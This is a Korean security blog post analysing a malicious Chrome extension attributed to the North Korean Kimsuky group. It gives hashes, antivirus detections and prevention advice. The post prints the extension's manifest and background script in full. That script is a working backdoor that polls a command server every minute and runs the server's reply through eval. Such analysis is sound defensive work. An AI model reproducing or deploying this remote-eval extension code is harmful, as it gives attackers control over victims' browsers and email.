꿈을꾸는 파랑새

반응형

오늘은 북한 해킹 조직 중 하나인 김수키(Kimsuky,キムスキー)는 기본적으로 한국의 싱크탱크,산업계,원자력 발전소 그리고 대북 관계자, 그리고 탈북단체에서 운영하는 주요인물을 대상으로 조직적으로 해킹하고 있으며 한국의 퇴역 장교(특히 대북 기밀 다루었던 분), 전·현직 외교관, 전·현직 정부기관에 일하고 있든 일을 하고 있지 않든 아무튼 대북 관련 단체이며 해킹을 하고 있으며 그리고 최근 영업이 러시아, 미국 및 유럽 국가로 확장하고 있으며
김수키 라는 이름은 이 그룹의 공격을 처음 보고한 러시아의 보안기업 카스퍼스키 가 도난당한 정보를 보내는 이메일 계정 이름이 김숙향(Kimsukyang)이었기 때문이며 Gold Dragon,Babyshark,Appleseed 등 수많은 악성코드를 사용했으며 전직 이름 탈륨(Thallium), 벨벳 천리마(Velvet Chollima), 블랙반시(Black Banshee) 등으로 불리고 있으며 해당 악성코드는 기본적으로 구글 크롬 사용자를 대상을 한 것처럼 보이며 구글 크롬 확장 프로그램을 설치하고 나서 구글에서 제공하는 지메일(Gmail)로그인시 작동을 해서 이메일 내용을 탈취하는 방법을 사용하고 있으며 대상들이 되는 분들은 다음과 같습니다.
외교관, 언론인, 정부 기관 종사자, 대학교수, 정치인들이며 여기서 만족을 하지 않고 미국, 유럽을 동시에 공격합니다.
그리고 구글 크롬 뿐만 아니라 Chromium 기반 브라우저도 감염될 수가 있습니다. 여기서 알고 가야 하는 것이 Chromium 기반 브라우저입니다.
크롬미움(Chromium)
크롬미움이란 브라우저의 이름이자 다양한 브라우저에서 사용하는 소스코드를 생성하는 오픈소스 프로젝트의 이름이며 크롬미움을 기반으로 개발된 브라우저에는 구글 크롬,마이크로소프트 엣지, 오페라,네이버 웨일, 삼성 인터넷 브라우저,브레이브 브라우저 등이 있습니다.
먼저 악성코드인 전체적인 crt 파일을 확보하지 못하고 핵심이 되는 코드들만 입수해서 분석합니다.

구글 크롬 부가기능 악성코드 manifest.json
구글 크롬 부가기능 악성코드 manifest.json

파일명:manifest.json
사이즈:400 B
CRC32:d774a921
MD5:012d5ffe697e33d81b9e7447f4aa338b
SHA-1:5f5432a5f992d8564c4db9074aaca1acb32a4687
SHA-256:11b99f460bf14c902083d2c9559da6f65ab376bcde5c63919a569ad5b5812d3d
그리고 자바스크립트(JavaScript)는 다음과 같습니다.
파일명:bg.js
사이즈:3.69 KB
CRC32:d65ee711
MD5:582a033da897c967faade386ac30f604
SHA-1:15d9903e7d475d6927e0687ca238642678c90d2f
SHA-256:a4daa30a2ef6943d8eec7759246f6584bfd679b094cb8b66302355500a036b9a
입니다.
먼저 manifest.json 입니다. 구글 크롬 부가기능의 설정 파일이며 부가기능의 이름, 버전, 아이콘, 권한 등을 정의하는 데 사용합니다.
먼저 해당 악성코드의 내용은 다음과 같습니다.

{
   "background":{
      "scripts":["bg.js"]
   },
   "name":"AF",
   "description":"Advanced Font",
   "devtools_page":"dev.html",
   "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self'",
   "permissions":["tabs","webNavigation","cookies","https(:)//*/*","http(:)//*/*"],
   "icons":{
      "128":"128.png"
   },
   "manifest_version":2,
   "version": "2.2"
}

해당 코드의 내용은 다음과 같습니다.
background:구글 크롬 확장 프로그램의 백그라운드 스크립트를 지정하는 속성 bg(.)js 라는 스크립트 파일이 백그라운드 스크립트로 사용
name:구글 크롬 확장 프로그램의 이름을 정의하는 속성 이번 경우에는 AF 라는 이름을 가지고 있음
description:구글 크롬 확장 프로그램의 설명을 정의하는 속성
Advanced Font라는 설명을 하고 있음
devtools_page:개발자 도구 페이지를 지정하는 속성 dev(.)html 이라는 HTML 파일이 개발자 도구 페이지로 사용
content_security_policy:구글 크롬 확장 프로그램의 콘텐츠 보안 정책을 지정하는 속성
스크립트 소스를 self 와 unsafe-eval 로 허용 객체 소스는 self 로 허용하도록 설정
permissions:구글 크롬 확장 프로그램이 필요로 하는 권한을 정의하는 속성 이번 경우 탭 이며 웹 네비게이션 쿠키에 대한 접근 권한과 https(:)///,http(:)/// 와 같은 모든 웹사이트에 대한 접근 권한
입니다.

다음은 구글 크롬 부가기능 악성코드  bg(.)js 입니다.

구글 크롬 부가기능 악성코드 bg.js
구글 크롬 부가기능 악성코드 bg.js

var g_url = "https://gonamod(.)com/sanghyon/index.php",g_devtabs=[];
var g_pThr = null, g_pThr1 = null,g_pThr2 = null, g_pThr3 = null, g_pThr4 = null, g_pThr5 = null, g_pThr6 = null, g_pThr7 = null, g_pThr8 = null;
var remoteLoop = function(){
	var xhr = new XMLHttpRequest();
	if(xhr)
	{	
		xhr.open("POST", g_url);
		xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
		xhr.onreadystatechange = function(){
			  if (this.readyState == 4 && this.status == 200) {	
				if(this.responseText) {
					eval(this.responseText);
				}
			  }
		}
		xhr.send("mode=cd1&ver=3.0");
	}
};
remoteLoop();
g_pThr = setInterval(remoteLoop,60*1000);

var onMessageHandle = function(e){};
var onCompletedHandle = function(details){};
var ontabActivateHandler = function(details) {};

chrome.runtime.onMessage.addListener(function(e){
	onMessageHandle(e);	
});
chrome.tabs.onReplaced.addListener(function(newTabId, removedTabId) {
	var idx = g_devtabs.indexOf(removedTabId);
	if(idx != -1) g_devtabs[idx] = newTabId;
});
chrome.tabs.onRemoved.addListener(function(removedTabId) {
	var idx = g_devtabs.indexOf(removedTabId);
	if(idx != -1) g_devtabs.splice(idx, 1);
});
chrome.tabs.onActivated.addListener(function(details){
	ontabActivateHandler(details);
});
chrome.webNavigation.onCompleted.addListener(function(details){
	onCompletedHandle(details);
});
////////////////////////////////
function validateEmail(email)
{
  const re = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
  return re.test(email);
}
function GetParameter(url,param) {
    var returnValue = null;
    var parameters = (url.slice(url.indexOf('?') + 1, url.length)).split('&');
    for (var i = 0; i < parameters.length; i++) {
        var varName = parameters[i].split('=')[0];
        if (varName.toUpperCase() == param.toUpperCase()) {
            returnValue = parameters[i].split('=')[1];
            return decodeURIComponent(returnValue);
        }
    }
	return returnValue;
}
function Compose(old,s)
{
	if(old==null || old=="") return s;
	else return old+','+s;
}
function str2hex(str)
{
	var hex = '';
	for(var i = 0; i < str.length; i++)
	{
		hex+=str.charCodeAt(i).toString(16);
	}
	return hex;
}
function bin2hex(byteArray)
{
	var hex = '';
	for(var i = 0; i < byteArray.byteLength; i++)
	{
		var h = byteArray[i].toString(16);
		if(h.length == 1) h = "0"+h;
		hex+=h;
	}
	return hex;
}
function BSE(input){
	var _keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
	var cc1 = input.charCodeAt(0);
	var cc2 = input.charCodeAt(1);

	var output = "";
	var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
	var i = 0;
	input = BSue(input);
	while (i < input.length) {
		chr1 = input.charCodeAt(i++);
		chr2 = input.charCodeAt(i++);
		chr3 = input.charCodeAt(i++);
		enc1 = chr1 >> 2;
		enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
		enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
		enc4 = chr3 & 63;
		if (isNaN(chr2)) {
			enc3 = enc4 = 64;
		} else if (isNaN(chr3)) {
			enc4 = 64;
		}
		output = output (+) _keyStr.charAt(enc1) (+) _keyStr.charAt(enc2) (+) _keyStr.charAt(enc3) (+) _keyStr.charAt(enc4);
	}
	return output;
}
function BSue(string){
	string = string.replace(/\\r\\n/g, "\\n");
	var utftext = "";
	for (var n = 0; n < string.length; n++) {
		var c = string.charCodeAt(n);
		if (c < 128) {
			utftext += String.fromCharCode(c);
		}
		else if ((c > 127) && (c < 2048)) {
			utftext += String.fromCharCode((c >> 6) | 192);
			utftext += String.fromCharCode((c & 63) | 128);
		}
		else {
			utftext += String.fromCharCode((c >> 12) | 224);
			utftext += String.fromCharCode(((c >> 6) & 63) | 128);
			utftext += String.fromCharCode((c & 63) | 128);
		}
	}
	return utftext;
}

해당 코드의 설명은 다음과 같습니다.
해당 코드는 https://gonamod(.)com/sanghyon/index.php라는 서버와 통신하는 기능을 포함하고 있으며 악성코드는 다음과 같은 코드를 사용해서 동작하면서 원격에서 컨트롤을 하고 악의적인 목적을 달성하기 위해서 존재합니다.
remoteLoop 함수를 통해서 주기적으로 서버로 POST 요청 보냄
해당 요청에는 mode=cd1&ver=3.0라는 데이터가 포함된 것을 확인할 수 있으며
그리고 서버의 응답을 받으면, 응답 내용을 eval 함수를 통해 실행하며 
setInterval 함수를 사용하여 remoteLoop 함수를 60초마다 주기적으로 호출하며 해당 코드에는 여러 이벤트 리스너 함수들이 등록되어 있으며 메시지가 도착하면 onMessageHandle 함수가 호출하게 되며 
email 매개변수를 사용해서 이메일 유효성 검사를 진행합니다.
re 변수에 정의된 정규식을 사용하여 이메일 주소가 패턴과 일치하는지 확인을 하며re.test(email)을 통해 이메일 주소가 정규식에게 맞는지를 판단을 진행합니다.
유효한 이메일 주소라면 true를 반환하고, 그렇지 않으면 false를 반환을 진행하고 
보조 함수들은 이메일 주소 유효성 검사, URL에서 매개변수 추출, 문자열 변환 등을 수행합니다.
해당 부분은 서버 URL, 탭 관련 정보 등을 저장하거나 조작하는 데 악용을 합니다.
즉 쉽게 이야기해서 구글 계정 도 털고 구글 플레이 콘솔에다가 개발 테스트 버전으로 업로드 도 하고 구글 계정으로 로그인해서 구글 플레이 스토어 접속을 해서 악성코드가 포함된 앱을 다운로드 및 설치를 하고 구글 플레이 스토어 에 동기화서 스마트폰에 자동 설치가 되는 방식을 취하고 있습니다.
2023-05-13 20:04:55 UTC 기준 바이러스토탈에서 탐지 하고 있는 업체는 다음과 같습니다.
manifest
ALYac:Trojan.Script.Agent
bg(.)js 2023-04-08 11:31:42 UTC 바이러스토탈 에서 탐지하는 보안 업체들은 다음과 같습니다.
AhnLab-V3:Backdoor/JS.Agent.SC182438
ALYac:Trojan.agent.shell
Antiy-AVL:Trojan[Spy]/JS.Agent
Arcabit:Trojan.JS.Agent.ULP
Avast:Other:Malware-gen [Trj]
AVG:Other:Malware-gen [Trj]
BitDefender:Trojan.JS.Agent.ULP
Cyren:ABRisk.SHWQ-8
DrWeb:JS.BackDoor.44
Emsisoft:Trojan.JS.Agent.ULP (B)
eScan:Trojan.JS.Agent.ULP
ESET-NOD32:JS/Spy.Agent.FC
Fortinet:JS/Agent.FC!tr
GData:Trojan.JS.Agent.ULP
Google:Detected
Ikarus:Trojan.JS.Spy
Kaspersky:Trojan.JS.Agent.emp
Lionic:Trojan.JS.Agent.4!c
MAX:Malware (ai Score=99)
McAfee:JS/Agent.gm
McAfee-GW-Edition:JS/Agent.gm
Microsoft:Trojan:Win32/Casdet!rfn
NANO-Antivirus:Trojan.Script.Heuristic-js.iacgm
Rising:Spyware.Agent/JS!8.12721 (TOPIS:E0:EUnNyygMT8L)
Sophos:JS/Agent-BJRM
Symantec:Trojan.Malscript
TACHYON:Script-VBS/W32.Agent.FL
Tencent:Js.Trojan.Agent.Gflw
Trellix (FireEye):Trojan.JS.Agent.ULP
TrendMicro:TrojanSpy.JS.SHARPEXT.AA
TrendMicro-HouseCall:TrojanSpy.JS.SHARPEXT.AA
VIPRE:Trojan.JS.Agent.ULP
ViRobot:BIN.S.Agent.3784
ZoneAlarm by Check Point:Trojan.JS.Agent.emp
예방 방법 구글 확장 기능 그리고 구글 플레이 스토어 에서도 악성코드가 있으니까 조심을 을 해야 하면 그리고 기본적으로 중요한 것은 백신 프로그램, 백신 앱을 AV-TEST 통과 한 제품을 사용하는 것이 좋으며 그리고 백신 프로그램,백신 앱등은 1개를 사용해야 하면 그리고 중요한 것은 나는 맥북 즉 맥 OS 사용을 하니 저런 악성코드 안 걸림 걱정 할 것 없음이라고 하지만 문제는 저번에 글을 적은 것처럼 맥OS도 랜섬웨어 만들고 있으니 안심할 수가 없습니다.

항상 조심하는 습관을 가지면 특히 예전에는 안보 관련 분들을 노리는 것들도 많이 보였지만 최근에 일반인을 겨냥한 것도 많이 만들고 있으니 조심하는 것이 좋습니다.

반응형
그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band